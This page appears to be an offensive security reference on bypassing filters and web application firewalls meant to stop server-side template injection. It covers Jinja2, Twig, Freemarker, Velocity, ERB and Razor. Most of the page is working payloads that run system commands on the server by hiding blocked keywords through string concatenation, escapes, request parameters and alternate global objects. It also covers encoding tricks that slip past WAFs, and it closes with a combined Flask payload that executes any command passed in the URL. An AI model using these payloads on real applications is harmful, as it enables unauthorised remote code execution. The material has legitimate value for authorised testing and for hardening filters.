Skip to content

Filter bypass

Most SSTI filters work by:

  1. Blocking the delimiter ({{, ${, <%=)
  2. Blocking specific keywords in the input (__class__, system, Runtime, popen)
  3. Stripping bracket / quote / underscore characters

All three are bypassable. The general approach: reach the same identifier through a different lexical form. The filter sees the form, not the resolved value.

# Keyword filter: __class__
{{ ''['__class__'] }} # via string indexing
{{ ''|attr('__class__') }} # via attr() filter
{{ ''[request.args.x] }} # via request param
# Keyword filter: system
{{['id']|filter('sys'~'tem')}} # Twig string concat
@{var s = "sys" + "tem"; ... } # Razor string concat
# Delimiter filter: {{
{%- if 1 %}body{%- endif %} # statement-form Jinja2

Three filter mechanisms, three bypass families:

Filter doesBypass approach
Blocks delimiters ({{, ${, <%)Use alternate syntax (statement blocks, attribute-based delimiters)
Blocks specific keywordsReach the same object through a different name - string concat, indexing, encoding
Strips charactersReconstruct via the engine’s string operations

When the obvious delimiter is blocked, every engine has alternates:

{{ expression }} # standard
{%- expression -%} # statement (works for control flow + side effects)
{# comment #} # comment - sometimes useful as a presence probe
# Inside expression context
{{ "raw"|safe }} # filter chains
# When {{ is filtered but tag-like input is rendered
{% if 1 %}{{leak_via_other_path}}{% endif %}

Bypass 2 - Keyword reaching via alternate name

Section titled “Bypass 2 - Keyword reaching via alternate name”

The most common filter: block specific identifier strings (__class__, system, Runtime). The same identifier can be reached via:

String indexing instead of attribute access (Python / PHP)

Section titled “String indexing instead of attribute access (Python / PHP)”
# Jinja2 - instead of {{''.__class__}}
{{ ''['__class__'] }}
{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}
# Twig - same pattern works
{{ _self['env']['registerUndefinedFilterCallback']('exec') }}

The dot-access path goes through __getattr__; bracket-access goes through __getitem__. Filters that hook one don’t always hook the other.

# Twig - instead of filter('system')
{{['id']|filter('sys'~'tem')}}
{{['id']|filter('sy'~'st'~'em')}}
# ERB - Ruby string concat
<%= `id`.send('to'+'_s') %>
# Razor - C# string concat at compile time
@{ var t = System.Type.GetType("System.Diag"+"nostics.Process"); /* ... */ }
# Velocity - assemble class name in fragments
#set($cls=$s.getClass().forName("java.lang."+"Run"+"time"))

The filter scans the raw template source for 'system'; the runtime sees the concatenated string. Regex-based filters miss this almost universally.

# Jinja2 - hex in attribute name
{{ ''['\x5f\x5fclass\x5f\x5f'] }} # \x5f = _
# Twig - same trick
{{['id']|filter('\x73ystem')}} # \x73 = s
# Freemarker - Java-style Unicode
<#assign ex="\u0066reemarker.template.utility.Execute"?new()>${ex("id")}
# Razor - Unicode escapes in identifiers (C# supports them)
@System.Diagnostics.\u0050rocess.Start("cmd", "/c id")
# ERB - Ruby \u and \x escapes
<%= `\x69\x64` %> # \x69\x64 = "id"

When the template body itself can’t contain the blocked keyword:

# Jinja2 - Flask/Werkzeug
{{ ''[request.args.x][request.args.y][1][request.args.z]() }}
# Then submit ?x=__class__&y=__mro__&z=__subclasses__
# Same pattern works in Twig via app.request.query
{{ ''[app.request.query.get('x')][app.request.query.get('y')](...) }}
# ERB - Ruby reads params from a Rails request
<%= ''.send(params[:method]) %>

The keyword never appears in the template body - it arrives over the wire in a separate field.

Alternative entry points to the same class

Section titled “Alternative entry points to the same class”
# Jinja2 - Flask globals
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
# Velocity - different reflection entry
#set($r=$s.getClass().getSuperclass()) # rather than the Runtime path

Filters that hook the most common path miss the less common one.

Bypass 3 - Character stripping reconstruction

Section titled “Bypass 3 - Character stripping reconstruction”

When specific characters (quotes, parens, dots) are stripped:

# Jinja2 - chr() to construct strings
{{ ((((lipsum|attr('\x5f\x5fglobals\x5f\x5f'))|attr('\x5f\x5fgetitem\x5f\x5f'))(chr(111)*0+chr(115)))... }}
# Use request.args to deliver quoted strings
{{ ''[request.args.x] }} # ?x=...
# Jinja2 - pure bracket access
{{ (((((lipsum|attr('__init__'))|attr('__globals__'))|attr('__getitem__'))('os'))|attr('popen'))('id') }}

Verbose but reaches the same target without a single . in the template.

# Twig - call methods via |filter pipe syntax
{{['id']|filter('system')}} # |filter() syntax doesn't strictly require ()
# Jinja2 - same
{{ ''|attr('__class__') }} # |attr does the call

The pipe syntax |name(arg) is parsed as a method call by the engine without requiring () in the user-visible source.

Generic Web Application Firewalls intercept SSTI by pattern-matching common payloads. Beyond the per-engine bypasses above:

{{ 7 * 7 }} # works (engines tolerate whitespace)
{{ 7 * 7 }} # extra whitespace
{{ 7 * 7 }} # tabs (often less filtered)
{{
7
*
7
}} # newlines

Many regex-based WAF rules don’t account for arbitrary whitespace.

{{/*comment*/7*7}} # Jinja2/Twig don't parse this, but it can confuse filters
{{7/*comment*/*7}} # if the engine allows mid-expression comments
# URL-encode part of the payload
%7B%7B7*7%7D%7D
# HTML-entity encode
&#x7b;&#x7b;7*7&#x7d;&#x7d;
# Mixed
%7B{7*7}%7D

When the application URL-decodes once but the WAF doesn’t, mixed encoding survives.

For engines that are case-insensitive in directive parsing (rare but present in some XSLT/XML-based templates):

<#IF 1>${7*7}</#IF> # uppercase directive
<#If 1>${7*7}</#If> # mixed case

When direct reflection is filtered (the response is sanitized), reach an alternate output channel:

  • Email body - submit probe in a “name” field, trigger an email send, read the email
  • PDF / report - submit probe in a field included in a generated report, download the report
  • Webhook payload - submit probe in a field that becomes part of an outgoing HTTP request, inspect the destination
  • Admin notification - submit probe in user-facing content, trigger an admin notification, read it
  • Logs - submit probe in a field that gets logged, read logs through any path that surfaces them

The same filter rarely applies to all output channels. A WAF that strips <%= ... %> from HTML responses often passes the same payload through unchanged in JSON / email / PDF.

A real-world payload combining multiple techniques. Target: Flask app with WAF blocking __class__, __import__, and the literal subprocess:

{{
request.application.application.__self__.\
_get_data_for_json.__globals__\
['__buil'+'tins__']\
['__imp'+'ort__']('os').popen(request.args.cmd).read()
}}

Then ?cmd=id:

  • __class__ not in payload (reached via __globals__)
  • __import__ split with concatenation
  • subprocess not used (uses os.popen instead)
  • The command itself comes from request.args.cmd, not the template

Bypass diagnostic - what’s the filter doing?

Section titled “Bypass diagnostic - what’s the filter doing?”

If you suspect a filter is blocking payloads, identify what it’s actually doing before generalizing:

{{7*7}} # → ?
{{7 * 7}} # → ? (whitespace test)
{{ 7*7 }} # → ? (whitespace inside delim)
{{ x }} # → ? (undefined variable - does the engine even try?)
{{}} # → ? (empty expression)
{{ # → ? (incomplete - does the parser see it?)
xxx{{7*7}}xxx # → ? (surrounded by markers - is the marker preserved?)

The response pattern reveals what’s being filtered:

  • All return the input unchanged → engine isn’t running, or the input never reaches it
  • Some return 49 and some don’t → specific patterns are filtered
  • All produce errors → engine sees the input but rejects it
  • xxx{{7*7}}xxx returns xxxxxx (markers preserved, payload stripped) → string-level filter removing payloads
  • xxx{{7*7}}xxx returns xxx49xxx → no filter, just template engine working normally
  • Filter quality varies wildly. A replace('{{', '') filter is trivially bypassed; a proper AST-walking template policy enforced by Twig’s SecurityPolicy is genuinely hard to defeat. Most filters in the wild are the former.
  • Composability matters. Combining two bypasses (string concat + alternate entry) often defeats filters that catch either alone. When a single-technique bypass fails, try stacking.
  • The “stripped” case is informative. When a filter removes part of your payload silently, the resulting partial payload often produces a useful error message that reveals what the engine sees vs. what you sent.